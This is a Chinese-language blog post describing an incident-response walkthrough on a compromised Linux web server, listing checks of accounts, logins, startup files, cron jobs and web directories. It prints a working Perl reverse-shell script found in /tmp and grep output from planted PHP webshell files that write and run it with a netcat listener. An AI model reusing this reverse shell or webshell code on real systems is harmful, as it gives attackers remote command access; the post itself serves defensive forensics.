共計 3702 個字符,預計需要花費 10 分鐘才能閱讀完成。
這篇文章主要介紹 Web 服務器中如何排查病毒,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!
一服務器疑似被掛馬,現象是從百度搜該站點,出來的結果大部分為×××網站。
馬上登錄服務器(半夜好困啊)。執行如下的步驟:
!–[if !supportLists]–
1、 !–[endif]– 檢查系統帳號,看有沒有異常帳號 – 如冒充系統帳號,改一個字母,看起來像系統帳號,混淆視聽。有的家伙狡猾的干活,創建個帳號為“…”極端不易察覺。
!–[if !supportLists]–
2、 !–[endif]– 檢查最近登錄用戶的 ip:last 查看 9 月 9 號以后到目前的情況,經確認,有一個 ip 來路不對。
!–[if !supportLists]–
3、 !–[endif]– 檢查系統初始化文件 inittab, 運行級別為 3,為發現異常。一些 hacker 喜歡在這里下手,加上 respawn 這樣的行,保證他的程序被殺后自動重啟,不屈不撓地抗爭系統管理員的絞殺。
!–[if !supportLists]–
4、 !–[endif]– 檢查運行級別目錄的腳本,ls –al /etc/rc3.d , 未見異常。
!–[if !supportLists]–
5、 !–[endif]– 檢查自動任務 crontab –l,root 用戶和 web 運行用戶 www 各檢查一遍,未見任何異常。
!–[if !supportLists]–
6、 !–[endif]– 檢查歷史記錄 history 發現有安裝 sendmail 的情形,問客戶是否有這個,答:不是自己裝的。
!–[if !supportLists]–
7、 !–[endif]– 檢查 web 目錄,發現其權限為 777,這可讓人不太放心了,心中猜想,可能是從這里下手了。
!–[if !supportLists]–
8、 !–[endif]– 檢查一下目錄 /tmp, 發現有個文件不太對勁,文件名是 spider_bc,打開看一下,是個 perl 腳本,其內容為:
[root@localhost mysql]#
more /tmp/spider_bc
#!/usr/bin/perl
use Socket;
$cmd= lynx
$system= echo `uname -a` echo `id` /bin/sh
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die(Error: $!\n
$paddr=sockaddr_in($port, $iaddr) || die(Error: $!\n
$proto=getprotobyname(tcp
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(Error: $!\n
connect(SOCKET, $paddr) || die(Error: $!\n
open(STDIN, SOCKET
open(STDOUT, SOCKET
open(STDERR, SOCKET
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
據客戶開發人員反應,這文件刪除以后,一會又自動生成了。
!–[if !supportLists]–
9、 !–[endif]– 初步懷疑是 hacker 利用 web 權限設置及程序漏洞上傳了程序后,自動生成這個文件,于是進入到網站根目錄,然后執行 grep –r“spider”* , 片刻,結果出來了,下面節錄部分:
[root@localhost www]#
grep spider_bc * -r
/plusbak/viev.
php:
echo File_Write(/tmp/spider_bc ,base64_decode($back_connect_pl), wb ) ? 創建 /tmp/spider_bc 成功 br : 創建 /tmp/spider_bc 失敗 br
/plusbak/viev.
php:
echo Exec_Run($perlpath. /tmp/spider_bc .$_POST[ yourip]. .$_POST[yourport]. ) ? nc -l -n -v -p .$_POST[yourport] : 執行命令失敗
/plusbak/viev.
php:
echo File_Write(/tmp/spider_bc.c ,base64_decode($back_connect_c), wb ) ? 創建 /tmp/spider_bc.c 成功 br : 創建 /tmp/spider_bc.c 失敗 br
/plusbak/viev.
php:
@unlink(/tmp/spider_bc.c
/plusbak/viev.
php:
echo Exec_Run(/tmp/spider_bc .$_POST[ yourip]. .$_POST[yourport]. ) ? nc -l -n -v -p .$_POST[yourport] : 執行命令失敗
/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.
php:
echo File_Write(/tmp/spider_bc ,base64_decode($back_connect_pl), wb ) ? 創建 /tmp/spider_bc 成功 br : 創建 /tmp/spider_bc 失敗 br
/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.
php:
echo Exec_Run($perlpath. /tmp/spider_bc .$_POST[ yourip]. .$_POST[yourport]. ) ? nc -l -n -v -p .$_POST[yourport] : 執行命令失敗
/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.
php:
echo File_Write(/tmp/spider_bc.c ,base64_decode($back_connect_c), wb ) ? 創建 /tmp/spider_bc.c 成功 br : 創建 /tmp/spider_bc.c 失敗 br
/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.
php:
@unlink(/tmp/spider_bc.c
/developers/FCKeditor/editor/skins/p_w_picpaths/p_w_picpaths.
php:
echo Exec_Run(/tmp/spider_bc .$_POST[ yourip]. .$_POST[yourport]. ) ? nc -l -n -v -p .$_POST[yourport] : 執行命令失敗
/developers/developers/cache/default/index_sql.
php :
echo File_Write(/tmp/spider_bc ,base64_decode($back_connect_pl), wb ) ? 創建 /tmp/spider_bc 成功 br : 創建 /tmp/spider_bc 失敗 br
/developers/developers/cache/default/index_sql.
php :
echo Exec_Run($perlpath. /tmp/spider_bc .$_POST[ yourip]. .$_POST[yourport]. ) ? nc -l -n -v -p .$_POST[yourport] : 執行命令失敗
/developers/developers/cache/default/index_sql.
php :
echo File_Write(/tmp/spider_bc.c ,base64_decode($back_connect_c), wb ) ? 創建 /tmp/spider_bc.c 成功 br : 創建 /tmp/spider_bc.c 失敗 br
/developers/developers/cache/default/index_sql.
php :
@unlink(/tmp/spider_bc.c
/developers/developers/cache/default/index_sql.
php :
echo Exec_Run(/tmp/spider_bc .$_POST[ yourip]. .$_POST[yourport]. ) ? nc -l -n -v -p .$_POST[yourport] : 執行命令失敗
以上是“Web 服務器中如何排查病毒”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注丸趣 TV 行業資訊頻道!